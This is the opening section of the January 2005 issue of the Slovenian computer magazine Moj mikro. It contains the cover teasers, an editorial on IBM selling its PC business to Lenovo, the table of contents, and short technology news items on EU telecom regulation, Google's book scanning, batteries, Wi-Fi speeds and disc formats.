TEMA MESECA: NAJ KAR CRKNE TELEVIZOR
(saj imamo računalnik) stran 48

januar 2005, številka 1, letnik 21, cena 980 SIT
Za pr edv ajanje v DivX -pr edv ajalnik u mor a biti f ilm s tisnjen. A k ako ga s tisniti? K at eri kodek je najboljši? stran 80

PATENTI ZAVORA RAZVOJA
Zakaj so civilne organizacije proti
spremembam pravil za podeljevanje
patentov Stran 24

KONČNO SPET PO MERI
UPORABNIKA?
Stran 28
Kako lahko RRS in bloge uporabljamo v praksi

ZAKONI IN P2P

Zakonito licenciranje avtorsko zaščitenih glasbenih
posnetkov v omrežjih P2P (SNOCAP)! Stran 34

NAJDI SI
- SAM

Kako iz Googlovega
namiznega iskalnika (GDS)
iztisniti največ
Stran 36

DOMAČA
»UBIJALSKA« REŠITEV
IP telefonija za domačo rabo Stran 36

Hekerska
orodja (3. del)
Sistemska orodja,
trojanski konji in vdiralci
skozi stranska vrata
Stran 38

MALI
VELIKANI

Mali tiskalniki, ki
omogočajo enako
kakovostno, a cenejše
tiskanje fotografij kot foto
studii Stran 68

2005

številka

1

Firefox 1.0

Spletni brskalnik za bolj izobražene in zahtevnejše
uporabnike Stran 79

IGRAJMO SE
SKRIVALNICE
Tudi tehnika skrivanja
sporočil ali steganografija
je postala priljubljeno
orodje teroristov. Kako
stvar deluje, kdo jo
uporablja in kako vemo,
da datoteka v sebi skriva
dodatno sporočilo?
Šli smo se
»teroriste«.
Stran 18

UVODNIK

KITAJSKI SINDROM
Piše : Zoran Banović zoran.banovic @ mojmikro.com

V

začetku decembra se je zgodilo to, kar je nekatere presenetilo, nekateri pa so
napovedovali kot edino logično – IBM je napovedal umik s področja izdelave
osebnih in prenosnih računalnikov. Svoj del bo prodal kitajskemu podjetju,
katerega delni lastnik bo postal tudi sam.
Kljub napovedim, da se lahko zgodi kaj podobnega, pa marsikdo nekako ni
mogel verjeti, da bo ravno glavni »krivec« za nastanek osebnega računalnika eden prvih, ki
se bo iz tega posla umaknil. Nekako težko je verjeti, da bomo čez nekaj let govorili, da smo z
računalniki delali že takrat, »ko jih je delal še IBM«.
Zakaj je veliki modri to storil? Razlag je veliko. Prva govori o tem, da mu to področje
dela izgubo, drugo ta, da zaradi svoje toge organizacije ne more biti konkurenčen drugim,
tretja pa, da v ozadju pripravlja nekaj velikega, kar bo obrnilo dogajanje na področju
računalništva povsem v drugo smer. Kaj od tega je res?
Zagotovo seveda (še) ne vemo, lahko pa se malce poigramo s špekulacijami. Prvi
razlog, ki smo ga omenili, je, da mu področje osebnih računalnikov dela izgubo. Morda
res. Računalnik ni več »strokovna« naprava, temveč razmeroma poceni izdelek široke
potrošnje, kjer je proizvajalcev ogromno. In ker je igralcev ogromno, so marže majhne, pri
majhnih maržah pa je treba za dobiček veliko prodati. Ali je IBM prodal veliko? Pravzaprav
ne, čeprav je tretji največji proizvajalec osebnih računalnikov. In zato so nekaj morali
spremeniti. Prva možnost bi bila drugačna organiziranost po vzoru Della. Poznavalci IBMa vedo, da česa takega podjetje že zaradi sorazmerne togosti ni sposobno narediti. Druga
je, da postanejo agresivni s cenami. To bi bilo za nekoga, ki ima tradicijo visoke kakovosti,
nemogoče, saj bi morali prav pri kakovosti sklepati kompromise. Tega si verjetno ne bi
mogli privoščiti, saj bi izgubili sliko, ki jo imajo o njem uporabniki. In tretja možnost? Ta je
vse skupaj prodati. In za to so se odločili. A komu? HP-ju? Dellu? Tema dvema vsekakor
ne že zaradi vtisa, ki bi ga pustili na trgu. To bi pomenilo neposreden poraz in predajo
nasprotniku. Prodati je treba nekomu »od zunaj« in Lenovo je bil očitno tisti pravi.
Do tu so stvari pravzaprav logične in gredo po napovedih analitikov. A vse skupaj ima
malce čuden priokus. Je res nedobičkonosnost edini razlog? Je lahko nekdo, ki je pred
dobrimi dvajsetimi leti »izumil« trg osebnih računalnikov in ki ima na njem tako velik imidž,
res prvi, ki bo vrgel puško v koruzo? Nekako težko verjamem. Je preusmeritev na storitve
in programsko opremo res prava? IBM je vedno imel težavo s prodajo programske opreme
in dolgo ni doumel njenega pravega pomena. Zdaj pa kar naenkrat obrat v programje? Ne
verjamem. Kaj je torej za tem?
Ena od možnih in tudi verjetnih razlag je, da se bo IBM pomeril na področju, kjer se ga
zadnje čase ne omenja prav pogosto. To je področje procesorjev. Če malce pogledamo, kaj se
dogaja na trgu, ugotovimo, da zadeva, vključno s prodajo PC-oddelka, vsebuje neko logiko.
IBM že kar nekaj časa razvija svoj procesor Power 5. Z njim sicer verjetno ne bo prepričal
HP-ja in Della, lahko pa prepriča Linuxovce. Zanje Intel ni nekaj, kar je zapovedano. Pri
tem ne mislim le na strežnike, kjer je že zdaj, in tudi ne na superračunalnike, temveč tudi
na delovne postaje, uporabno elektroniko in tudi mobilne naprave. Je kaj na tem? Je kakšna
povezava? S Kitajsko, na primer? IBM je objavil svoj Power.org prav na Kitajskem, kjer
se trudijo nekako »zaobiti« Windows in Intel. Kupec PC-oddelka je kitajsko podjetje. Je
mogoče, da bodo Power 5 in njegovi nasledniki postal nov standard na Kitajskem, nato pa
širše? Hmmm ...
Dodajmo k temu še dejstvo, da Apple že dogo uporablja to večjedrno arhitekturo, da
procesorje Cell uporabljajo Sony, Toshiba, pa tudi Microsoft za svoje igralske izdelke. To
niso več majhni igralci. In ker Intel s 64-bitno arhitekturo že dolgo menca, je vsekakor
mogoče, da IBM stavi prav na to. Pravzaprav so to med vrsticami tudi povedali prav na
otvoritvi Power.org, kjer je bilo rečeno, da svet potrebuje arhitekturo, ki bo uporabna v
cenenih napravah, ki bodo porabile malo energije, kot na primer mobilni telefoni, in tudi v
delovnih postajah, strežnikih in superračunalnikih.
Če je to vse res, potem IBM-ova opustitev PC-programa ne pomeni razloga za veselje
konkurence. Prav nasprotno – pomeni razlog za skrb. A to je le špekulacija.


4

MOJ MIKRO 1 JANUAR 2005

vsebina
Januar 2005, Številka 1, letnik 21

18

Steganografija – skrivanje sporočil

IGRAJMO SE SKRIVALNICE
Steganografija ni nov pojem. O njej se je v javnosti
govorilo že pred skoraj desetimi leti. In kaj je to?
Steganografija ni nič drugega kot metoda skrivanja
sporočil v druge dokumente. Te datoteke so običajne
fotografije, zvočne datoteke, besedilne datoteke in še
kaj. Steganografija pa ni omejena le na računalniški
svet. Njeni začetki namreč segajo daleč v zgodovino.
Znane so legendarne stvari, kot je na primer tista, ko
je neki rimski vojskovodja kurirju obril glavo, na kožo
vtetoviral skrivno sporočilo, počakal, da so mu lasje
zrasli in ga odposlal na nalogo. Stvar je delovala toliko
časa, dokler tega niso izvedeli njegovi nasprotniki in so
vsem ujetim kurirjem začeli briti glave. Veliko pozneje so
se pojavile še druge metode. Kdo še ni slišal za skrivna
sporočila, napisana s nevidnim črnilom? Še kot otroci
smo pisali sporočila, napisana z limoninim sokom ...

36

GOOGLOV NAMIZNI ISKALNIK
V prejšnji številki smo vam predstavili orodje za iskanje
po dokumentih v lokalnem računalniku � Google
Desktop Search (GDS). Google tako prinaša na namizje
funkcijo, ki smo jo vsaj člani uredništva Mojega mikra
pogrešali in potrebovali že precej časa, saj iskalnik v
Windows ni vreden kaj prida. Ker se nam zdi GDS ena
izmed uporabnejših aplikacij v našem računalniku,
hkrati pa smo odkrili nekaj pomanjkljivosti, smo poiskali
načine, kako funkcionalnost programa razširiti oziroma
ga prilagoditi našim željam

Naslovnica:
M.M.

KAZALO
AKTUALNO
6 Novice
17 V precepu
18 Steganografija – skrivanje sporočil

24
28
35
34
36
38
44
46

24

Patentiranje programske opreme

KDAJ LAHKO PATENT
ZAVRE RAZVOJ?

Patenti, kakršne poznamo
danes, so se začeli razvijati
v srednjem veku. Tako so
Benetke ob zmanjševanju
svojega trgovskega
vpliva ugotovile, da bi bilo
smotrno gospodarstvo
spodbujati tudi tako, da bi
privabile izumitelje. Zato
so jim zagotovili začasno
ekskluzivno pravico izdelovanja svojih inovativnih
naprav. Prvi zakon o sodobnih patentih tako datira
v leto 1474, kmalu pa so podoben prijem začeli
uporabljati tudi v Angliji (1624) in drugod. Zanimivo
je, da patentno varstvo ne izvira iz kake neodtujljive
posameznikove pravice do lastništva ideje, temveč
ima korenine v koristi družbe kot celote.

38

NAPSTERJEV OČE
SPET V RINGU
Pred nedavnim je Shawn Fanning, sicer avtor
razvpitega programa Napster, ki je pred leti sprožil
plaz izmenjave datotek prek interneta, predstavil svoj
novi projekt Snocap. Gre za sistem, ki naj bi omogočil
zakonito licenciranje avtorsko zaščitenih glasbenih
posnetkov v omrežjih P2P. K sodelovanju je že privabil
multinacionalko Universal Music Group, vendar to še ne
pomeni zmage. Mu bo uspelo?

TEMA MESECA
48 Naj kar crkne televizor (saj imamo računalnik)

48

TEMA MESECA

NAJ KAR CRKNE TELEVIZOR
(SAJ IMAMO RAČUNALNIK)
Računalnik je multimedijska naprava. Pa je
primeren tudi za gledanje TV-sporeda? Prav
gotovo! No, saj to je že dolgo znano, porečete.
Drži in tudi na naših straneh smo tovrstne
naprave in postopke že dodobra opisali.
Zanimanja pa je vse več in čedalje več vprašanj
se poraja s tem. Naprave so vse dostopnejše
in vse bolj razširjene. Prav je, da se tej temi
spet posvetimo. Če ne drugega, bo marsikateri
uporabnik tako dobil lepo zbrane informacije,
kako in kaj.

PREIZKUSILI SMO
56 AMD-jeve nove matične plošče in procesorji
58 Projektorji RELISYS RLP 2000, NEC VT47
in BenQ PB2240
59 Logitech QuickCam Communicate Plus
Ploska monitorja NEC 1770NX in BenQ FP767-12
60 Optični pogon NEC 3520
Predvajalnika Yamakawa 375 in 335
62 Delovna postaja HP XW4200
Tablica Wacom Intous 3
Logitech MediaPlay Cordless
64 Prenosni računalniki
66 Digitalni fotoaparati
68 Mali tiskalniki
69 Zgodovina Olympus-a
70 BitDefender 8 Professional Plus
72 Olympus Studio
73 ISL Light – ASP
ZoneAlarm Security Suite
76 Borland Delphi 2005 Arhitect
77 Adobe Photoshop Elements 3
78 Half Life 2
FMA - floAt’s Mobile Agent
79 Firefox 1.0

80
84
88
92
95
96
98

80

Izbira kodeka

KATERI JE PRAVI?
Imamo film in bi ga radi predvajali prek
računalnika ali DivX-predvajalnika. Kako ga
stisniti? Kateri kodek uporabiti? Pravzaprav
eno najpogostejših vprašanj, ko govorimo o
DivX-predvajalnikih, je, s katerim kodekom naj
bo film stisnjen, da bo slika najboljša. Če boste
vprašali druge lastnike predvajalnikov, ki so se tej
temi malce bolj posvetili, vam bo vsak odgovoril
drugače. Eni bodo rekli DivX 5.x, drugi DivX 3,
tretji Xvid, četrti bodo prisegali na Microsoftov
Windows Media Video. Zakaj takšne razlike? Ali
res ni mogoče preprosto ugotoviti, kateri kodek je
najboljši in uporabljati samo tega?

KONKRETNO
Kdaj lahko patent zavre razvoj?
Uporaba RSS-a in blogov v poslovne namene
Upravljanje tržne znamke v spletu
Projekt Snocap
Podrobno o Googlovem orodju za iskanje (GDS)
Hekerska orodja (3. del)
Brezžično izobraževalno omrežje (BIO)
Programski paket OPINFOS SQL NET

K A Z ALO OGL AŠEVALCEV
ALPE PAPIR 99
ALTERNA INTERTRADE 9
ANNI 31
CANON 63
COMTRON 2
DELO REVIJE 97
E-MISIJA 33

EC 55
F.S. INA
KONICA MINOLTA 11
KFM 76
LUFTMEDIA 81
LUKVEL 15
MARAND 73

V PRAKSI
Računalnik kot ustvarjalno orodje: izbira kodeka
Sam svoj mojster: mala šola IP-telefonije (4.del)
Varnost: varovanje končnih naprav
Na pragu 3D-računalništva
Glasbena produkcija
Računalniki in šah
Napovednik

MICROSOFT 37
MIKROPIS 27, 100
MIŠKA 71
MLACOM 85
MOBITEL 91
NOVIFORUM 16
RIBERA 61

SOPHOS 3
TRION 60, 62
USPEH 13
ZAK 83
XLAB 75

MOJ MIKRO 1 JANUAR 2005

5

NOVICE

novice
EVROPA ŽUGA

AGENCIJA
KAŽE NA NAPAKE

Temnomodri stolpci
predstavljajo razmere
avgusta leta 2003,
svetlo modre pa
avgusta 2004.
Pred skoraj mesecem dni je Evropska komisija objavila poročilo o stanju in regulaciji evropskih trgov elektronskih
komunikacij za leto 2004 (European Electronic Communications Regulation and Markets 2004). Osnovno poročilo
omenja, da mora Slovenija (poleg Španije, Francije, Cipra, Litve, Poljske in Slovaške) sprejeti � v nekaterih
primerih bistvene � podzakonske predpise, da bi osnovna zakonodaja v celoti zaživela. Na to opozarjajo vsi
alternativni operaterji z olajšanjem, da je to opazila tudi komisija. Pri tem seveda radi spregledajo, da Belgija,
Češka, Estonija, Grčija in Luksemburg še niso s smernicami EU-ja uskladili niti osnovne zakonodaje.
Slovenski trg elektronskih komunikacij je od leta 2001 zrasel za 8 odstotkov, preko 50 odstotkov tega obsega
mobilni trg, a kaj, ko vse skupaj znaša komaj 0,3 odstotka celotnega evropskega trga. Komisija bo raziskala, ali gre
ob zastopanju državnega lastništva v Telekomu Slovenije ob skupščinah predstavnikov ministrstva, ki je hkrati
odgovorno za nadzor neodvisnega regulatorja, za konflikt interesov. Ob tem bo komisija verjetno ugotovila, da
ministrstva za informacijsko družbo sploh več nimamo in bo s tem problem odpravljen. Raziskali bodo tudi, ali
je upravičena skrb nekaterih novih operaterjev, da ni politične volje po regulaciji trga, in tudi tu ugotovili, da se je
politična volja na zadnjih volitvah spremenila ter bi bilo novi vladi preuranjeno karkoli očitati.
Očitek, da je nacionalni regulativni organ (APEK) potreboval precej časa za reševanje sporov (tako kot v Litvi, na
Švedskem in Poljskem) ter bil pri tem celo omejeno učinkovit (tako kot v Italiji) bo seveda dobrodošel, ob javno že
omenjani zamenjavi direktorja Nikolaja Simiča, ki nad tem verjetno ne bo presenečen. Prav tako operaterji ne bodo
presenečeni nad ugotovitvijo, da so v Sloveniji zelo dragi klici iz fiksnega v mobilna omrežja. Uporabnikom bodo konkretni
podatki o cenah zaključevanja zgolj v potrditev dosedanjih domnev, zdajšnjemu ali pač naslednjemu direktorju APEKa pa namig, kje bi se morda lahko lotil regulacije »stroškovno naravnanih cen«. Povprečje v 15 članicah EU-ja je 14,67
evrocenta v vseh 25 pa 14,70 centa na minuto. Govorimo seveda o vseh operaterjih, kajti če bi pogledali zgolj operaterje
s pomembno tržno močjo, bi bilo to povprečje še nižje � 13,68 centa (15 starih) oziroma 13,73 centa (vseh 25
članic). Pa vzemimo najvišje od teh povprečij � 14,70 centa na minuto in ga primerjajmo z 21,6 centa na minuto
za zaključevanje klica v Mobitelovov omrežje (Simobilovo in Western Wirelessovo naj bi stala 21 centa na minuto). Bi
lahko temu rekli več kot 40-odstotna premija v primerjavi z evropskimi povprečji?
Tudi ocena stroška polne razveze lokalne zanke kaže, da je ta strošek v Sloveniji nadpovprečno visok (ocena
komisije 21,5 evra na mesec v primerjavi npr. z najdražjo komfortno naročnino ISDN, ki ne presega 20 evrov na
mesec), dejstvo, da se novi operaterji za sklenitev takih pogodb niso odločili, pa navdajajo komisijo z občutkom,
da so pogoji zapisani v referenčni ponudbi za povezovanje (reference interconnection offer � RIO), in referenčni
ponudbi za razvezo lokalne zanke (reference unbundling offer � RUO) neprijazni. (t.s.)

Komentar poročila je podal tudi regulator
(APEK). Najbolj jih moti, da je v poročilu nekaj po
njihovem mnenju netočnih podatkov. Oziroma se ti
ne skladajo s podatki, ki so jih dali komisiji. Hkrati
so predstavili statistične kazalce (mimogrede,
večina jih je strogo zaupna, zato jih ne moremo
predstaviti), ki nas uvrščajo v povprečje ali celo med
najuspešnejše evropske države (gre za kazalce, ki
kažejo uspešnost regulacije trga). Je potemtakem
pri nas vse v najlepšem redu, obstaja konkurenca
in na trgu ni ovir, ki bi jih oni lahko odpravili
oziroma so za to pristojni? Strogo matematično
gledano je to seveda res (ne dvomimo namreč
o pravilnosti pokazanih grafikonov), vendar je
položaj na trgu nekoliko drugačen.
Je torej regulator nesposoben, preveč
zbirokratiziran ali ni politične volje za spremembe,
kot je moč med vrsticami zaslediti v različnih
medijih. Mi ne mislimo tako. Bolj se nam zdi,
da Agencija ni na tem planetu, temveč nekje
druge. Morda na luni. Manjka jim namreč
malce samokritike in predvsem realen pogled
na trg. Dejstva so namreč drugačna. Na večini
segmentov telekomunikacijskega trga je položaj
podoben. Bodisi ga obvlada zgolj eno podjetje ali pa
jih je več, pri čemer eden živi dobro, drugi pa bolj ali
manj životarijo. Kdo je kriv za to? Slaba regulacija
ali slabe poslovne odločitve podjetij? Gotovo gre
tudi za slednje. Pa to ni bistvo. Vsako pritožbo je
treba preveriti ne glede na uspešnost podjetja,
ki jo je vložilo. Tako da bo kristalno jasno, da
za slab položaj podjetja ni kriva tiha podpora
dominantnim operaterjem, temveč izključno
njihove lastne napake. Če je tako zaradi napačnih
poslovnih modelov ali nesposobnosti krivo
podjetje, je to treba dokazati in enkrat za vselej to
tudi javno povedati. Če je krivica izključno na strani
regulatorja, bi veljalo tudi to povedati. Predvsem
pa ne ustvarjati pogojev za večmilijardne tožbe!
(m.k.)

PRENOSNIKI POLENIJO SPERMIJE!
Ste zdravi, športno aktivni, a vseeno ne morete
zaploditi otroka, ker so vaši spermiji preleni? V neki
raziskavi so prišli do zanimivega sklepa. Če vsak dan za
nekaj ur »parkirate« svoj prenosni računalnik v naročju,
se vam kaj takega lahko zgodi. In razlog. Povečanje
temperature na občutljivem mestu. Moška moda so zunaj
telesa zaradi enega samega razloga. Temperatura
znotraj ubije vso voljo spermijem, da bi se podali na
dolgo pot do jajčka. V raziskavi so ugotovili dva razloga
višjih temperatur: prekrižane noge, kot stabilna podlaga
za namestitev prenosnega računalnika in samo gretje

6

MOJ MIKRO 1 JANUAR 2005

prenosnika, ki se najbolj greje
ravno na spodnji strani. Razlika
v temperaturi je lahko do 2,8
stopinje v okolici občutljivega
dela telesa. To, da temperatura
vpliva na kakovost spermija
in njegovo poskočnost, ni nič
novega, saj je dobro dokumentirano in dokazano. Novo
je to, da je lahko prenosnik kriv za nižjo plodnost. Še
zlasti ker prenosnika v naročju nekateri uporabniki
ne držijo le občasno, temveč vsak dan leta in leta. Ni

še popolnoma jasno, ali so
učinki kratkotrajni, in bo
torej naslednja generacija
spermijev čez tri mesece
spet poskočna, ali obstajajo
tudi dolgoročne posledice.
Pa da ne bo pomote, ne
gre za kakšno napol resno analizo, temveč za resno,
znanstveno podkrepljeno. Napovedali so še dodatne
analize, ki bodo tezo podkrepile ali morda ovrgle. Do
takrat pa pazljivo pri uporabi prenosnikov!

NOVICE

Google se bo verjetno lotil kolosalnega projekta, ki bo trajal več let. Želi namreč
skenirati milijone knjig, ki so v nekaterih največjih ameriških in eni angleški knjižnici
in tako zgraditi njihov spletni ekvivalent. Načeloma je stvar dogovorjena s petimi
knjižnicami, ki jim je moral Google najprej obljubiti, da skeniranje ne bo poškodovalo
originalov. Ker gre med njimi tudi za redke in dragocene knjige, je previdnost
na mestu. Za Google so zanimive knjige, ki so bile izdane davno pred pojavom
računalnika in zato ne obstajajo v elektronski obliki. Vseeno pa so knjižnice trenutno
še zelo previdne. Newyorška knjižnica bo dovolila
skeniranje manjšega števila knjig v njihovo lasti,
pa še to zgolj tiste, katerih avtorske pravice so že
potekle. Knjižnica univerze Hardvard bo dala na voljo
40 tisoč knjig in se bo nato za nadaljnjo sodelovanje
odločala glede na pridobljene izkušnje. Radodarnejša
bo knjižnica univerze v Oxfordu (ta je angleška), ki bo
dala na voljo vse knjige, izdane pred letom 1901. Vso
svojo zbirko pa sta odprli knjižnici univerz Michigan in
Stanford. V spletu je že moč najti nekaj spletnih knjižnic,
več ali manj z novejšimi knjigami, hkrati pa uporabniki
lahko prek spletnih knjigarn omejeno listamo nekatere

ZMOGLJIVEJŠE BATERIJE KARIERNA
SMER:
OXYRIDE
VARNOST
Japonski koncern Matsushita
Electric Industrial bo aprila
2005 poslal na trg ZDA in
Evrope baterijo Oxyride, ki je
1,5-krat močnejša kot običajne alkalne
baterije. Skrivnost baterije je oxyride oz. oksi-nikelj-hidroksid,
ki je pri proizvodnji suhih baterijskih vložkov popolnoma nov
material. Poleg tega je v baterijah uporabljen fini prah grafita in
magnezijevega dioksida, kar omogoča tesnejši stik med njima
in tako posredno večjo količino aktivne mase v bateriji. Zato so
baterije Oxyride tudi bistveno zmogljivejše od običajnih baterij,
kar uporabnikom npr. digitalnih fotoaparatov omogoča, da
naredijo dvakrat več posnetkov. Sodobne elektronske naprave
lahko izrabijo večjo moč baterij Oxyride. To je zelo pomembno
pri porabnikih, ki zahtevajo veliko vršno moč, npr. predvajalniki
glasbe ob močnih zvokih ipd. Baterije Oxyride bodo približno 10 %
dražje od klasičnih. To pa ni ovira, da že zdaj na Japonskem med
baterijami velikosti AA pokrivajo 7-odstotni delež. (zm)

Kot kažejo raziskave analitičnih
organizacije, med drugim IDC-ja, je
prihodnost rožnata za vse informatike,
ki se nameravajo poklicno razvijati v
smeri informacijske varnosti. Število
strokovnjakov s tega področja bo na letni
ravni raslo za 14 odstotkov, kot kažejo
trenutne potrebe. Nič čudnega glede
na trenutne varnostne grožnje. Da je
to področje resnično izredno zanimivo
kaže tudi lokalni primer. Miha Pihler, ki je
zaposlen pri podjetju Atlantis, je postal prvi
slovenski strokovnjak z nazivom MVP (Most
Valuable Professional) za področje varnosti
v Microsoftovih okoljih. Strokovnjakov s tem
nazivom je v svetu zgolj 75.

Foto Reuters

GOOGLE USTANAVLJA
KNJIŽNICO

nove izdaje. Googlov projekt se od slednjih razlikuje
tako po velikosti kot tudi po tem, da želi nato vsebino
vključiti v svoj iskalni mehanizem. Gre za ogromno knjig, ki
bi bile tako dostopne večjemu številu bralcev. Google
pa pri vsej zadevi le ni zgolj dobrotnik, ki ščiti kulturno
dediščino. Ker živi od spletnega oglaševanja in ker je to
odvisno od števila uporabnikov, je jasno, kje so njegovi
poslovni motivi.

LUČKA �
TO MORAM IMETI!
Spet smo našli izdelek, brez katerega« nikakor
ne more nihče«, ki kaj da na nase in hoče biti vedno
v tehnološkem vrhu.
Gre za fluorescenten
obesek (na voljo so štiri
barve), dolg 4,5 cm, ki
ga obesite na kovček
oziroma vsako stvar, ki
jo lahko zgubite v temi.
Izdelek ne potrebuje
baterij, deloval bo vsaj
deset let in zagotavljal
opaznost do razdalje
15 metrov. In pri
vsem tem stane stvar
preračunano le malce
več kot tri tisočake.
www.glowrings.com

NOVA SONČNA BATERIJA
Japonski znanstveniki so predstavili prototip
energetske celice, ki pretvarja svetlobo v elektriko in jih znotraj
celice shrani za poznejšo uporabo. Neke vrste sončna baterija
ali elektrokemična energetska celica. Prednost nove celice
pred obstoječimi silicijevimi celicami je v tem, da slednje za
shranjevanje potrebujejo dodatno napravo (akumulator),
hkrati pa nove veliko bolje delujejo v primerih, ko svetloba
nanje pada pod kotom, večjim od 40 stopinj.
Celica je sestavljena iz dveh steklenih elektrod
– zgornje in spodnje. Naloga zgornje je absorpcija
fotonov, zato je pod steklom plast polprevodnika (titanov
dioksid) z malimi porami, v katerih so rutenijeve molekule.
Spodnja elektroda je prevlečena s plastjo platine. Pri
zgornji in spodnji elektrodi sta tudi plasti poroznega
aktivnega ogljika. Zgornja in spodnja elektroda sta ločeni

še z vmesno plastjo izolatorja.. Tako nastane nekaj zelo
podobnega kondenzatorju.
Fotone »zbirajo« molekule rutenija, ki so na površini
polprevodnika. Ko pade svetloba na površino celice,
foton zbije elektron iz omenjene molekule in ta »steče«
v plast polprevodnika in naprej do spodnje elektrode
prek električne povezave izven celice, kjer se zbirajo v
plasti ogljika. Pri zgornji elektrodi (okoli ogljika) se tako
koncentrirajo vrzeli, pri spodnji pa elektroni. Preprosto
povedano, tako celica shranjuje energijo.
Prototipna celica proizvaja napetost 0,7 volta. Seveda
to ni dovolj za napajanje naprav. Je pa mogoče celice
podobno kot baterije vezati in tako dobiti pričakovano
napetost. Če bo šel razvoj naprej, bi lahko takšne celice v
praksi videli čez kakšni dve leti.
MOJ MIKRO 1 JANUAR 2005

7

NOVICE

BREZŽIČNIH 1 Gb NA SEKUNDO
Siemensovi znanstveniki so dosegli nov rekord v hitrosti prenosa podatkov prek
brezžičnega omrežja � 1 Gb na sekundo. Uporabili so tri antene na oddajni
strani, štiri na sprejemni ter tehniko OFDM (Orthogonal Frequency Division
Multiplexing). Ta dopušča oddajanje več signalov na eni frekvenci v istem času brez
interference med njimi. Nekateri tehnologijo imenujejo tudi MIMO – Multiple Input,
Multiple Output. Razbijanje enega signala na več manjših zahteva na sprejemni
strani dokaj zmogljivo opremo, le te zopet združi v logično celoto. Zato so v ta
namen razvili nov algoritem, ki je omogočal, da je bila naloga izvedljiva z dosegljivimi
računalniki. Testni sistem je deloval na frekvenčnem območju 5 GHz in pasovno
širino 100 MHz. Logično vprašanje je, za kdaj je kaj takega napovedanega tudi za
komercialno uporabo. Odgovor je jasen: po letu 2015.
www.siemens.com

ORACLE MENJA
ZAVEZNIKE
HD-DVD
ALI BLU-RAY?

Med podjetjema Toshiba in Sony poteka velika bitka,
v kateri se spopadata dva standarda za naslednika
DVD-jev. Bolj ali manj je jasno, da bo dolgoročno zmagal
zgolj eden. Bo to HD-DVD ali Blu-ray? Vsak ima svoje
prednosti in slabosti, a to sploh ni pomembno. Ne gre za
bitko, kdo je boljši, temveč kdo bo zmagal in naslednja
leta pobiral velike denarje na račun licenčnin. Tako
eno kot drugo podjetje iščeta zaveznike. Pred kratkim
je na Sonyjevo stran stopil Disney, ki je napovedal,
da bo svoje bodoče vsebine ponujal na disku Blu-ray.
Podjetje Technicolor, ki je prejšnji mesec z blagovno
znamko Thompson spet prišlo tudi na naš trg, pa je
napovedalo izdelovanje obeh medijev, a predvajalnike
zgolj za Toshibin HD-DVD. V Sonyjevem taboru je več
zaveznikov, okoli 70, a gre večinoma za proizvajalce
naprav. Druga stran pa ima na svoji strani vse večje
ameriške filmske studie. Kdo bo torej zmagal? Tisti,
ki dela naprave, ali tisti, ki ima vsebine? Bomo videli.
Kakor bomo tudi videli, ali bomo letos ugledali videli
prve komercialne izdelke HD-DVD, kot so napovedali.
Za vmesno obdobje prehoda z DVD-ja na njegovega
naslednika je Toshiba skupaj s podjetjem Memory Tech
predstavila zanimivo rešitev dvojnega diska. Višji sloj je
namenjen zapisu po standardu DVD (4,7 GB), sloj pod
njim pa HD-DVD-ju (15 GB).
www.sony.com
www.toshiba.com

Že na zadnjem Oraclovem dogodku v Evropi je
bilo moč zaslediti, da to podjetje nekatere stare
prijatelje zamenjuje z novimi. Še do nedavnega
sta bila največja zaveznika HP in Sun, po novem
so to podjetja Dell, Red Hat, Novell in Intel. Stvar je
zanimiva za vse uporabnike Oraclovih tehnologij,
saj lahko usmeritev njihovega bodočega razvoja
vpliva na IT-opremo, ki jo bodo potrebovali. Že
dalj časa je jasno, da Oracle vse bolj spodbuja
uporabnike, da namesto Unixa in zmogljivega
strežnika (domena HP-ja in Suna), uporabljajo
Linux (od tu Red Hat in Novell) in večje število
cenejših strežnikov, povezanih v gruče (Dell in HP).
Na prvi pogled nič posebnega. A po drugi strani
je velika večina Oraclovih uporabnikov pred leti
verjela Oraclu in kupovala drage, a zmogljive
strežnike. Zdaj jih to isto podjetje prepričuje,
da naj se preusmerijo na mrežno računalništvo
(grid) in naj drage strežnike zamenjajo z večjim
številom cenejših. Če je zamenjava nujna
zaradi zastarelosti opreme, ni s tem nič narobe.
Problem se lahko pojavi, ko in če bo Oraclu
uspelo nekatere prepričati, da morajo kljub vsemu
nadgraditi njihovo tehnologijo, s tem pa tudi strojno
opremo.
Oracle je na svojem svetem ameriškem dogodku
malce več povedal o novem izdelku Oracle Business
Intelligence 10g. Ta pokriva področje poslovne inteligence
(BI) in vključuje nekatera poslovna analitična orodja,
ki so sestavni del aplikacijskega strežnika (AS) ter še
nekatera novo razvita. Prva bodo še vedno del AS-ja,
vendar jih uporabniki najcenejše različice ne bodo mogli
samostojno uporabljati.
www.oracle.com

DISK
ALI
KJUČ?

Enopalčni trdi diski so že na voljo tudi v obliki USBdodatkov. Tajvansko podjetje BTC je predstavilo izdelke
družine Z. Mimogrede, vtikač za USB-vmesnik je moč
zasukati za 90 stopinj, kar do neke mere olajša uporabo
zadevice. Vmesnik je pri obeh različicah USB 2.0,
razlikujeta se zgolj po zmogljivosti vdelanega diska. Pri
modelu Z22 je ta 2,2 GB, pri Z40 pa 4 GB.
www.btc.com.tw

8

MOJ MIKRO 1 JANUAR 2005

KLJUČEK Z 8 GB
Pomnilniških ključev je
na trgu kolikor hočete, vseh
oblik, zmogljivosti in velikosti.
Protecov USB-ključ i-Disk II pa je
zanimiv, saj bo eden prvih z 8
GB pomnilniškega prostora. To
je dovolj za vse običajne podatke
in še za preprost operacijski
sistem. Kaj hočejo s tem povedati?
V prihodnosti bi lahko imeli
javne računalnike. Uporabnik
bi vanje vtaknil svoj ključ in
imel instantni lastni računalnik.
No, to je še daljna prihodnost.
V današnji eksponentni rasti
količine digitalnih vsebin je lahko
8 GB celo premalo. Predvsem
pa bo prišel prav v profesionalne
namene za prenos velikih
datotek iz sistema v sistem. Le
profesionalci si ga bodo lahko tudi
privoščili, saj bo stal preračunano
okoli 200 tisočakov.
www.pretec.com

JADRALCI Z IT-OPREMO

Spet je na sporedu prestižna dirka velikih regatnih
jadrnic okoli sveta, to pot imenovana Global Challenger
2004. Tekmovalci bodo objadrali Zemljo, pot je to
pod dolga 30 tisoč morskih milj. V dirki sodeluje 12
jadrnic, vsaka pa je opremljena s satelitsko tehnologijo,
ki jim omogoča določanje položaja in povezavo do
pomembnih informacij. Vsak član posadke jadrnice
(18 članov) ima na voljo digitalni fotoaparat in digitalno
kamero. Na krovu so tudi prenosni računalniki (izdelki
podjetja Sony) s tehnologijo Centrino. Upajmo, da bodo
imeli jadralci dovolj časa za jadranje in se ne bodo veš
čas igrali s tehnološkimi igračkami, ki so jim na voljo.

GOSTOVANJE NA LETALIH

Nič novega niso naprave,
ki omogočajo zdravstveno
